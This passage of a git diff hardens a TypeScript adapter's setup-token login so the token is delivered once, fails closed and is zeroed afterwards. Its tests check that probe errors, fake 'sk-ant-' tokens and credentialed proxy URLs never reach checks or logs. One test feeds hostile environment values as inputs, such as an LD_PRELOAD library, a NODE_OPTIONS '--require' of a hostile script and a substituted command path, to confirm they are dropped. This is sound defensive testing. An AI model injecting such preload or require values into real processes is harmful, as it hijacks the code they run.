- * start result resolves the race; the timeout and the signal resolve the race
- * with a terminal status. A driver error rejects the race, so the caller can
- * convert it to a fixed, non-secret error. A late start rejection after the race
- * already settled is consumed here, so it never becomes an unhandled rejection.
- */
-function raceStart(
-  start: Promise<{ exitCode: number | null }>,
-  timeoutMs: number,
-  signal: AbortSignal,
-): Promise<RaceResult> {
-  return new Promise<RaceResult>((resolve, reject) => {
-    let settled = false;
-    const cleanup = () => {
-      clearTimeout(timer);
-      signal.removeEventListener("abort", onAbort);
-    };
-    const finish = (run: () => void) => {
-      if (settled) return;
-      settled = true;
-      cleanup();
-      run();
-    };
-    const timer = setTimeout(() => finish(() => resolve({ kind: "timeout" })), timeoutMs);
-    const onAbort = () => finish(() => resolve({ kind: "cancelled" }));
-    signal.addEventListener("abort", onAbort, { once: true });
-    start.then(
-      (value) => finish(() => resolve({ kind: "exit", exitCode: value.exitCode })),
-      (error) => finish(() => reject(error)),
-    );
-  });
-}
-
 /**
  * Stops the child and releases the driver for a terminal state. The runner calls
  * this on every exit path: a normal exit, a non-zero exit, a timeout, a
@@ -256,13 +218,16 @@ export async function runSetupTokenLogin(
   let promptSurfaced = false;
   let codeSubmitted = false;
   let submitStarted = false;
+  // The runner sets this true one time, only after the mandatory sink resolves.
   let credentialDelivered = false;
+  // The bound token bytes. The runner binds them from the success record during
+  // the stream, holds them in memory only, awaits the sink one time after a
+  // clean exit, and zeros them in a `finally` block on every path. A null value
+  // means the runner never bound a token.
+  let tokenBytes: Buffer | null = null;
   // The code-input routine runs beside the race. It is self-guarding and never
   // rejects, so an unresolved provider cannot become an unhandled rejection.
   let submitPromise: Promise<void> = Promise.resolve();
-  // The credential-delivery routine runs beside the race. It is self-guarding
-  // and never rejects, so an async sink cannot become an unhandled rejection.
-  let credentialPromise: Promise<void> = Promise.resolve();
 
   // The in-memory prompt buffer. The runner drops it as soon as it finds the
   // prompt, so the secret-bearing stream never lives longer than one parse. The
@@ -306,24 +271,39 @@ export async function runSetupTokenLogin(
     }
   };
 
-  // Binds the token from the token buffer and delivers it one time. The runner
-  // scans only when a caller provides an `onCredential` sink and the gate is
-  // open. It drops the token buffer as soon as the parser binds the token. It
-  // never logs the token and never puts it into a thrown error.
+  // Binds the token from the token buffer one time and holds the bytes in
+  // memory. The runner scans only when a caller provides an `onCredential` sink,
+  // so it never holds the secret-bearing stream without a need. It drops the
+  // token buffer as soon as the parser binds the token. The runner delivers the
+  // bytes later, after a clean exit, through {@link deliverCredential}.
   const captureCredential = (): void => {
-    if (!SETUP_TOKEN_CREDENTIAL_RELEASE_GATE || !onCredential || credentialDelivered) return;
+    if (!onCredential || tokenBytes) return;
     const token = parseSetupTokenCredential(tokenBuffer);
     if (!token) return;
-    credentialDelivered = true;
+    tokenBytes = Buffer.from(token, "utf8");
     tokenBuffer = "";
-    const authBytes = Buffer.from(token, "utf8");
+  };
+
+  // Awaits the mandatory sink one time with the bound token bytes and reports
+  // whether the credential landed. It returns false when the sink is missing,
+  // when the runner bound no token, or when the sink rejects. It does not swallow
+  // a sink rejection: it maps the rejection to a false result, so the caller ends
+  // the run as a failure. It zeros the token bytes in a `finally` block on every
+  // path, so the secret never outlives the delivery.
+  const deliverCredential = async (): Promise<boolean> => {
+    const bytes = tokenBytes;
+    tokenBytes = null;
+    if (!bytes) return false;
     try {
-      credentialPromise = Promise.resolve(onCredential(authBytes)).catch(() => {
-        log("[paperclip] Setup-token login: the credential delivery step errored.");
-      });
+      if (!onCredential) return false;
+      await onCredential(bytes);
       log("[paperclip] Setup-token login: delivered the credential to the sink.");
+      return true;
     } catch {
       log("[paperclip] Setup-token login: the credential delivery step errored.");
+      return false;
+    } finally {
+      bytes.fill(0);
     }
   };
 
@@ -352,10 +332,10 @@ export async function runSetupTokenLogin(
     // The prompt already surfaced. Scan the post-prompt stream for the success
     // token. The runner scans only when a caller provides an `onCredential`
     // sink, so it never holds the secret-bearing stream without a need.
-    if (!SETUP_TOKEN_CREDENTIAL_RELEASE_GATE || !onCredential || credentialDelivered) return;
+    if (!onCredential || tokenBytes) return;
     tokenBuffer += chunk;
     captureCredential();
-    if (!credentialDelivered && tokenBuffer.length > CLAUDE_SETUP_TOKEN_MAX_BUFFER_CHARS) {
+    if (!tokenBytes && tokenBuffer.length > CLAUDE_SETUP_TOKEN_MAX_BUFFER_CHARS) {
       tokenBuffer = tokenBuffer.slice(tokenBuffer.length - CLAUDE_SETUP_TOKEN_MAX_BUFFER_CHARS);
     }
   };
@@ -375,7 +355,7 @@ export async function runSetupTokenLogin(
     }
 
     const start = driver.start(command, onData);
-    const raced = await raceStart(start, timeoutMs, controller.signal);
+    const raced = await raceLoginRunnerExit(start, timeoutMs, controller.signal);
     // Release a pending code-input routine, then let it settle. The routine is
     // self-guarding, so this await never rejects.
     controller.abort();
@@ -396,10 +376,16 @@ export async function runSetupTokenLogin(
       return result("failure", exitCode);
     }
 
-    // The runner captured the token from the stream during `onData` and
-    // delivered it through `onCredential`. Await a pending async sink, so the
-    // credential fully lands before the runner reports success.
-    await credentialPromise;
+    // The command exited cleanly. Deliver the bound token through the mandatory
+    // sink and await it. The runner fails closed: a missing sink, a clean exit
+    // with no bound token, and a sink rejection each end the run as a failure. It
+    // reports success only after the sink resolves.
+    const delivered = await deliverCredential();
+    if (!delivered) {
+      log("[paperclip] Setup-token login: the credential did not land; treating the run as a failure.");
+      return result("failure", exitCode);
+    }
+    credentialDelivered = true;
 
     log("[paperclip] Setup-token login command ended successfully.");
     return result("success", exitCode);
@@ -409,6 +395,14 @@ export async function runSetupTokenLogin(
     throw new Error("setup-token login failed: the sandbox login command errored.");
   } finally {
     if (signal) signal.removeEventListener("abort", onExternalAbort);
+    // Zero any bound token bytes that the delivery path did not consume, so a
+    // timeout, a cancellation, or an error never leaves the secret in memory. The
+    // cast restores the type that the closure assignment widens away.
+    const leftover = tokenBytes as Buffer | null;
+    if (leftover) {
+      leftover.fill(0);
+      tokenBytes = null;
+    }
     // Stop a pending code-input routine, then stop the child and dispose.
     controller.abort();
     await stopAndDispose(driver, log);
diff --git a/packages/adapters/claude-local/src/server/test.probe.test.ts b/packages/adapters/claude-local/src/server/test.probe.test.ts
index 58088fa47d0..d56bf2ecb22 100644
--- a/packages/adapters/claude-local/src/server/test.probe.test.ts
+++ b/packages/adapters/claude-local/src/server/test.probe.test.ts
@@ -1,4 +1,7 @@
-import { afterEach, describe, expect, it, vi } from "vitest";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { chmod, mkdtemp, rm, writeFile } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
 import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
 
 const {
@@ -10,23 +13,30 @@ const {
   resolveAdapterExecutionTargetCwd,
   probeResult,
 } = vi.hoisted(() => {
-  const probeResult: { value: { exitCode: number; stdout: string; stderr: string } } = {
+  const probeResult: {
+    value: { exitCode: number; stdout: string; stderr: string };
+    throwError: Error | null;
+  } = {
     value: { exitCode: 1, stdout: "", stderr: "" },
+    throwError: null,
   };
   return {
     probeResult,
     ensureAdapterExecutionTargetDirectory: vi.fn(async () => {}),
     ensureAdapterExecutionTargetCommandResolvable: vi.fn(async () => {}),
     maybeRunSandboxInstallCommand: vi.fn(async () => null),
-    runAdapterExecutionTargetProcess: vi.fn(async () => ({
-      exitCode: probeResult.value.exitCode,
-      signal: null,
-      timedOut: false,
-      stdout: probeResult.value.stdout,
-      stderr: probeResult.value.stderr,
-      pid: 123,
-      startedAt: new Date().toISOString(),
-    })),
+    runAdapterExecutionTargetProcess: vi.fn(async () => {
+      if (probeResult.throwError) throw probeResult.throwError;
+      return {
+        exitCode: probeResult.value.exitCode,
+        signal: null,
+        timedOut: false,
+        stdout: probeResult.value.stdout,
+        stderr: probeResult.value.stderr,
+        pid: 123,
+        startedAt: new Date().toISOString(),
+      };
+    }),
     describeAdapterExecutionTarget: vi.fn(() => "Daytona"),
     resolveAdapterExecutionTargetCwd: vi.fn(() => "/home/daytona/paperclip-workspace"),
   };
@@ -72,18 +82,23 @@ const initLine =
 
 afterEach(() => {
   vi.clearAllMocks();
+  probeResult.throwError = null;
 });
 
 describe("claude sandbox hello probe diagnostics", () => {
-  it("surfaces the final result error instead of the system/init line on failure", async () => {
+  it("keeps the raw failure result out of every check and out of the log", async () => {
+    // The non-zero result event carries a marker. The check must not repeat the
+    // marker, and the log must carry only the allowlisted classification.
+    const marker = "NONPATTERNMARKERfailure";
     probeResult.value = {
       exitCode: 1,
       stdout: [
         initLine,
-        '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"API Error: 404 model not found: claude-opus-4-8","session_id":"abc"}',
+        `{"type":"result","subtype":"error_during_execution","is_error":true,"result":"API Error: 404 model not found ${marker}","session_id":"abc"}`,
       ].join("\n"),
       stderr: "",
     };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
 
     const result = await testEnvironment({
       companyId: "company-1",
@@ -96,9 +111,308 @@ describe("claude sandbox hello probe diagnostics", () => {
     expect(result.status).toBe("fail");
     const failed = result.checks.find((check) => check.code === "claude_hello_probe_failed");
     expect(failed).toBeTruthy();
-    expect(failed?.detail).toContain("404 model not found: claude-opus-4-8");
-    // The unhelpful init line must not be what we show the operator.
-    expect(failed?.detail).not.toContain('"subtype":"init"');
+    // The public check carries only a fixed message and hint, no raw detail.
+    expect(failed?.detail).toBeUndefined();
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(marker);
+    // The unhelpful init line must never reach a check either.
+    expect(checkText).not.toContain('"subtype":"init"');
+    // The raw diagnostic never reaches the server log. The log carries only the
+    // fixed context and an allowlisted classification.
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(marker);
+    expect(loggedText).toContain("nonzero_exit");
+    warnSpy.mockRestore();
+  });
+
+  it("keeps a stdout-fallback failure line out of every check and out of the log", async () => {
+    // The CLI dies before a result event, so the last non-init stdout line is
+    // the diagnostic. The check and the log must not repeat its marker.
+    const marker = "NONPATTERNMARKERstdout";
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [initLine, `fatal: claude crashed ${marker}`].join("\n"),
+      stderr: "",
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    const failed = result.checks.find((check) => check.code === "claude_hello_probe_failed");
+    expect(failed).toBeTruthy();
+    expect(failed?.detail).toBeUndefined();
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(marker);
+    expect(checkText).not.toContain('"subtype":"init"');
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(marker);
+    expect(loggedText).toContain("nonzero_exit");
+    warnSpy.mockRestore();
+  });
+
+  it("never copies a credential-bearing stderr failure line into a check or the log", async () => {
+    // A verbose CLI can print a credential to stderr on failure. The check and
+    // the log must not repeat it.
+    const secret = "sk-ant-STDERRLEAK0123456789abcdef";
+    probeResult.value = {
+      exitCode: 1,
+      stdout: initLine,
+      stderr: `fatal: request failed with token ${secret}`,
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(secret);
+    expect(checkText).not.toContain("STDERRLEAK");
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(secret);
+    expect(loggedText).not.toContain("STDERRLEAK");
+    expect(loggedText).toContain("nonzero_exit");
+    warnSpy.mockRestore();
+  });
+
+  it("keeps an auth-required probe marker out of every check", async () => {
+    // The auth-required stdout and stderr carry a marker. The login-required
+    // checks must not repeat it, and the login gate code must stay stable.
+    const marker = "NONPATTERNMARKERauthcli";
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [
+        initLine,
+        `{"type":"result","subtype":"error_during_execution","is_error":true,"result":"Please run \`claude login\` ${marker}","session_id":"abc"}`,
+      ].join("\n"),
+      stderr: `Please run claude login ${marker}`,
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    // The login gate code stays stable so the user interface can offer login.
+    expect(result.checks.some((check) => check.code === "adapter_auth_missing")).toBe(true);
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(marker);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(marker);
+    expect(loggedText).toContain("auth_required");
+    warnSpy.mockRestore();
+  });
+
+  it("classifies an invalid or expired token as adapter_auth_missing without leaking the token", async () => {
+    // Grounded on the real Claude CLI output for CLAUDE_CODE_OAUTH_TOKEN=invalid.
+    // The probe exits non-zero and the result event reports a 401 authentication
+    // failure with an "Invalid bearer token" message. A synthetic bearer marker
+    // rides along on a retry line, so the test proves the raw text never reaches
+    // a check.
+    const marker = "SUPERSECRETbearerMARKERcli";
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [
+        initLine,
+        `{"type":"system","subtype":"api_retry","attempt":1,"error_status":401,"error":"authentication_failed: bearer ${marker} is invalid","session_id":"abc"}`,
+        '{"type":"result","subtype":"success","is_error":true,"api_error_status":401,"error":"authentication_failed","result":"Failed to authenticate. API Error: 401 Invalid bearer token","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    // An auth failure returns the canonical login gate code, so the user
+    // interface can offer login.
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(true);
+    expect(result.checks.some((check) => check.code === "adapter_auth_missing")).toBe(true);
+    // The raw probe text, including the bearer marker, never reaches a check.
+    expect(JSON.stringify(result.checks)).not.toContain(marker);
+    warnSpy.mockRestore();
+  });
+
+  it("does not flag a healthy probe whose assistant text repeats a token phrase", async () => {
+    // A healthy run prints an auth phrase in its answer text. The parsed result
+    // is a success, so the probe stays healthy and offers no login gate.
+    probeResult.value = {
+      exitCode: 0,
+      stdout: [
+        initLine,
+        '{"type":"assistant","message":{"role":"assistant","content":[{"type":"text","text":"hello — authentication_failed means an invalid bearer token"}]},"session_id":"abc"}',
+        '{"type":"result","subtype":"success","is_error":false,"result":"hello","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+    };
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    expect(result.checks.some((check) => check.code === "adapter_auth_missing")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_passed")).toBe(true);
+  });
+
+  it("keeps a transient failure with an assistant token phrase off the login gate", async () => {
+    // The probe fails on a 529 overload. The auth phrase appears only in the raw
+    // stdout assistant event, not the parsed result, so the run stays transient
+    // and never surfaces the login gate.
+    probeResult.value = {
+      exitCode: 1,
+      stdout: [
+        initLine,
+        '{"type":"assistant","message":{"role":"assistant","content":[{"type":"text","text":"authentication_failed: the bearer token is invalid"}]},"session_id":"abc"}',
+        '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"API Error: 529 overloaded_error","session_id":"abc"}',
+      ].join("\n"),
+      stderr: "",
+    };
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    expect(result.checks.some((check) => check.code === "adapter_auth_missing")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_transient_upstream")).toBe(true);
+  });
+
+  it("keeps an unexpected successful summary out of every check", async () => {
+    // The probe exits 0 but does not return `hello`. The unexpected summary is
+    // untrusted output. The check must not repeat its marker.
+    const marker = "NONPATTERNMARKERunexpected";
+    probeResult.value = {
+      exitCode: 0,
+      stdout: [
+        initLine,
+        `{"type":"result","subtype":"success","is_error":false,"result":"Here is something else ${marker}","session_id":"abc"}`,
+      ].join("\n"),
+      stderr: "",
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    const unexpected = result.checks.find(
+      (check) => check.code === "claude_hello_probe_unexpected_output",
+    );
+    expect(unexpected).toBeTruthy();
+    expect(unexpected?.detail).toBeUndefined();
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(marker);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(marker);
+    expect(loggedText).toContain("unexpected_output");
+    warnSpy.mockRestore();
+  });
+
+  it("keeps an opaque credential marker and a proxy marker out of every check and the log", async () => {
+    // The failure output carries two untrusted values that the pattern
+    // sanitizer did not recognize: an opaque credential with no token shape and
+    // a proxy URL. One rides in stdout, the other in stderr. Neither may reach a
+    // check or the server log.
+    const opaqueCredMarker = "OPAQUECREDMARKERnoshape";
+    const proxyMarker = "http://user:pass@proxy.corp.internal:3128";
+    probeResult.value = {
+      exitCode: 7,
+      stdout: [
+        initLine,
+        `{"type":"result","subtype":"error_during_execution","is_error":true,"result":"probe failed with ${opaqueCredMarker}","session_id":"abc"}`,
+      ].join("\n"),
+      stderr: `proxy connect failed: ${proxyMarker}`,
+    };
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    const checkText = JSON.stringify(result.checks);
+    expect(checkText).not.toContain(opaqueCredMarker);
+    expect(checkText).not.toContain("proxy.corp.internal");
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(opaqueCredMarker);
+    expect(loggedText).not.toContain("proxy.corp.internal");
+    // The log still carries the allowlisted classification and the safe exit
+    // code, so the diagnostic stays useful.
+    expect(loggedText).toContain("nonzero_exit");
+    expect(warnSpy.mock.calls[0]?.[1]).toMatchObject({
+      classification: "nonzero_exit",
+      exitCode: 7,
+    });
+    warnSpy.mockRestore();
+  });
+
+  it("never copies a thrown CLI probe error into a check or the log", async () => {
+    // A spawn or transport failure can throw an error whose text carries a
+    // credential. Inject an opaque credential marker and a proxy marker through
+    // the thrown error. The CLI lane has no catch around the hello probe call,
+    // so the thrown error propagates to the caller, which owns it. No check and
+    // no console.warn call inside this lane repeats either marker.
+    const opaqueCredMarker = "OPAQUECREDMARKERnoshape";
+    const proxyMarker = "http://user:pass@proxy.corp.internal:3128";
+    probeResult.throwError = new Error(
+      `probe spawn failed with ${opaqueCredMarker} via ${proxyMarker}`,
+    );
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    // The current contract propagates the thrown error. The lane builds no
+    // Test-result check from the error, so the raw text cannot reach a check.
+    await expect(
+      testEnvironment({
+        companyId: "company-1",
+        adapterType: "claude_local",
+        config: { engine: "cli", command: "claude" },
+        executionTarget: sandboxTarget,
+        environmentName: "Daytona",
+      }),
+    ).rejects.toThrow(opaqueCredMarker);
+
+    // The lane never routes the raw error text to the server log. No
+    // console.warn call repeats either marker.
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(opaqueCredMarker);
+    expect(loggedText).not.toContain("proxy.corp.internal");
+    warnSpy.mockRestore();
   });
 
   it("classifies subscription usage-limit failures as a usage-limited warning, not a hard fail", async () => {
@@ -147,26 +461,7 @@ describe("claude sandbox hello probe diagnostics", () => {
     expect(result.checks.some((check) => check.code === "claude_hello_probe_failed")).toBe(false);
   });
 
-  it("falls back to the last stdout line when no result event is emitted", async () => {
-    probeResult.value = {
-      exitCode: 1,
-      stdout: [initLine, "fatal: claude crashed unexpectedly"].join("\n"),
-      stderr: "",
-    };
-
-    const result = await testEnvironment({
-      companyId: "company-1",
-      adapterType: "claude_local",
-      config: { engine: "cli", command: "claude" },
-      executionTarget: sandboxTarget,
-      environmentName: "Daytona",
-    });
-
-    const failed = result.checks.find((check) => check.code === "claude_hello_probe_failed");
-    expect(failed?.detail).toContain("claude crashed unexpectedly");
-  });
-
-  it("does not show the system/init event when it is the only stdout line", async () => {
+  it("keeps the failed check free of a detail when only the system/init line is present", async () => {
     probeResult.value = {
       exitCode: 1,
       stdout: initLine,
@@ -183,6 +478,7 @@ describe("claude sandbox hello probe diagnostics", () => {
 
     const failed = result.checks.find((check) => check.code === "claude_hello_probe_failed");
     expect(failed?.detail).toBeUndefined();
+    expect(JSON.stringify(result.checks)).not.toContain('"subtype":"init"');
   });
 });
 
@@ -240,3 +536,112 @@ describe("claude auth mode hints", () => {
     expect(result.checks.some((check) => check.code === "claude_oauth_token_configured")).toBe(false);
   });
 });
+
+describe("claude CLI local hello probe hardening", () => {
+  // Clear the host proxy and host auth variables so a local probe reads a
+  // deterministic env regardless of the machine that runs the suite.
+  const CLEARED_HOST_ENV_KEYS = [
+    "HTTP_PROXY",
+    "HTTPS_PROXY",
+    "NO_PROXY",
+    "http_proxy",
+    "https_proxy",
+    "no_proxy",
+    "ANTHROPIC_API_KEY",
+    "CLAUDE_CODE_OAUTH_TOKEN",
+    "CLAUDE_CODE_USE_BEDROCK",
+    "ANTHROPIC_BEDROCK_BASE_URL",
+  ];
+  const successStdout = [
+    initLine,
+    '{"type":"result","subtype":"success","is_error":false,"result":"hello","session_id":"abc"}',
+  ].join("\n");
+
+  let tempDir: string | null = null;
+  let claudePath = "";
+  let savedPath: string | undefined;
+  let savedEnv: Record<string, string | undefined> = {};
+
+  beforeEach(async () => {
+    tempDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-cli-localprobe-"));
+    claudePath = path.join(tempDir, "claude");
+    await writeFile(claudePath, "#!/bin/sh\nexit 0\n");
+    await chmod(claudePath, 0o755);
+    savedPath = process.env.PATH;
+    process.env.PATH = tempDir;
+    savedEnv = {};
+    for (const key of CLEARED_HOST_ENV_KEYS) {
+      savedEnv[key] = process.env[key];
+      delete process.env[key];
+    }
+    // The mocked cwd resolver returns a sandbox path; the local probe reads it
+    // as the cwd, so no host directory is touched.
+    resolveAdapterExecutionTargetCwd.mockReturnValue("/home/daytona/paperclip-workspace");
+  });
+
+  afterEach(async () => {
+    process.env.PATH = savedPath;
+    for (const [key, value] of Object.entries(savedEnv)) {
+      if (value === undefined) delete process.env[key];
+      else process.env[key] = value;
+    }
+    if (tempDir) await rm(tempDir, { recursive: true, force: true }).catch(() => undefined);
+    tempDir = null;
+  });
+
+  it("spawns the trusted resolved claude and drops hostile caller env for a local probe", async () => {
+    probeResult.value = { exitCode: 0, stdout: successStdout, stderr: "" };
+    process.env.HTTPS_PROXY = "http://trusted-proxy:8443";
+
+    await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: {
+        engine: "cli",
+        command: "/tmp/evil/claude",
+        env: {
+          ANTHROPIC_API_KEY: "keep-this-key",
+          NODE_OPTIONS: "--require /hostile/evil.js",
+          PATH: "/hostile/bin",
+          LD_PRELOAD: "/hostile/evil.so",
+          HTTP_PROXY: "http://caller-proxy:8080",
+        },
+      },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedCommand = call[2] as string;
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    // The trusted resolved claude executable, never the caller command path.
+    expect(spawnedCommand).toBe(claudePath);
+    expect(spawnedCommand).not.toContain("/tmp/evil");
+    // The approved key reaches the child; the hostile keys never do.
+    expect(spawnedEnv.ANTHROPIC_API_KEY).toBe("keep-this-key");
+    expect(spawnedEnv.NODE_OPTIONS).toBeUndefined();
+    expect(spawnedEnv.PATH).toBeUndefined();
+    expect(spawnedEnv.LD_PRELOAD).toBeUndefined();
+    expect(spawnedEnv.HTTP_PROXY).toBeUndefined();
+    // The trusted proxy reaches the child; the caller proxy never does.
+    expect(spawnedEnv.HTTPS_PROXY).toBe("http://trusted-proxy:8443");
+    expect(JSON.stringify(spawnedEnv)).not.toContain("caller-proxy");
+  });
+
+  it("names the local host target on every result", async () => {
+    probeResult.value = { exitCode: 0, stdout: successStdout, stderr: "" };
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    const targetCheck = result.checks.find((check) => check.code === "claude_environment_target");
+    expect(targetCheck).toBeTruthy();
+    expect(targetCheck?.message).toContain("Paperclip host");
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/test.remote.test.ts b/packages/adapters/claude-local/src/server/test.remote.test.ts
new file mode 100644
index 00000000000..3c7f5d5fd10
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/test.remote.test.ts
@@ -0,0 +1,139 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
+
+const {
+  ensureAdapterExecutionTargetDirectory,
+  ensureAdapterExecutionTargetCommandResolvable,
+  maybeRunSandboxInstallCommand,
+  runAdapterExecutionTargetProcess,
+  describeAdapterExecutionTarget,
+  resolveAdapterExecutionTargetCwd,
+  probeResult,
+} = vi.hoisted(() => {
+  const probeResult: { value: { exitCode: number; stdout: string; stderr: string } } = {
+    value: { exitCode: 1, stdout: "", stderr: "" },
+  };
+  return {
+    probeResult,
+    ensureAdapterExecutionTargetDirectory: vi.fn(async () => {}),
+    ensureAdapterExecutionTargetCommandResolvable: vi.fn(async () => {}),
+    maybeRunSandboxInstallCommand: vi.fn(async () => null),
+    runAdapterExecutionTargetProcess: vi.fn(async () => ({
+      exitCode: probeResult.value.exitCode,
+      signal: null,
+      timedOut: false,
+      stdout: probeResult.value.stdout,
+      stderr: probeResult.value.stderr,
+      pid: 123,
+      startedAt: new Date().toISOString(),
+    })),
+    describeAdapterExecutionTarget: vi.fn(() => "Daytona"),
+    resolveAdapterExecutionTargetCwd: vi.fn(() => "/home/daytona/paperclip-workspace"),
+  };
+});
+
+vi.mock("@paperclipai/adapter-utils/execution-target", async () => {
+  const actual = await vi.importActual<typeof import("@paperclipai/adapter-utils/execution-target")>(
+    "@paperclipai/adapter-utils/execution-target",
+  );
+  return {
+    ...actual,
+    ensureAdapterExecutionTargetDirectory,
+    ensureAdapterExecutionTargetCommandResolvable,
+    maybeRunSandboxInstallCommand,
+    runAdapterExecutionTargetProcess,
+    describeAdapterExecutionTarget,
+    resolveAdapterExecutionTargetCwd,
+  };
+});
+
+import { testEnvironment } from "./test.js";
+import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./auth-check.js";
+
+const sandboxTarget: AdapterExecutionTarget = {
+  kind: "remote",
+  transport: "sandbox",
+  providerKey: "daytona",
+  remoteCwd: "/home/daytona/paperclip-workspace",
+  runner: {
+    execute: async () => ({
+      exitCode: 0,
+      signal: null,
+      timedOut: false,
+      stdout: "",
+      stderr: "",
+      pid: null,
+      startedAt: new Date().toISOString(),
+    }),
+  },
+};
+
+const sshTarget: AdapterExecutionTarget = {
+  kind: "remote",
+  transport: "ssh",
+  remoteCwd: "/home/agent/paperclip-workspace",
+  spec: {
+    host: "ssh.example.test",
+    port: 22,
+    username: "agent",
+    remoteCwd: "/home/agent/paperclip-workspace",
+    remoteWorkspacePath: "/home/agent/paperclip-workspace",
+    privateKey: null,
+    knownHosts: null,
+    strictHostKeyChecking: true,
+  },
+};
+
+const initLine =
+  '{"type":"system","subtype":"init","cwd":"/home/daytona/paperclip-workspace","session_id":"abc","tools":["Bash","Read"]}';
+
+const loginRequiredStdout = [
+  initLine,
+  '{"type":"result","subtype":"error_during_execution","is_error":true,"result":"Please run `claude login` to authenticate.","session_id":"abc"}',
+].join("\n");
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+describe("claude sandbox auth-missing check", () => {
+  it("emits the canonical adapter_auth_missing check when a sandbox hello probe reports missing auth", async () => {
+    // The sandbox has no ready login, so the hello probe returns a
+    // login-required result. The Test must emit the neutral canonical check
+    // code. The user interface reads this code to decide login eligibility; it
+    // does not parse the message text or the top-level status.
+    probeResult.value = { exitCode: 1, stdout: loginRequiredStdout, stderr: "" };
+
+    const result = await testEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "cli", command: "claude" },
+      executionTarget: sandboxTarget,
+      environmentName: "Daytona",
+    });
+
+    // A missing-auth probe is a warning, not a failure, so the environment stays
+    // testable and the user interface can offer login.
+    expect(result.status).toBe("warn");
+    expect(result.checks.some((check) => check.code === ADAPTER_AUTH_MISSING_CHECK_CODE)).toBe(true);
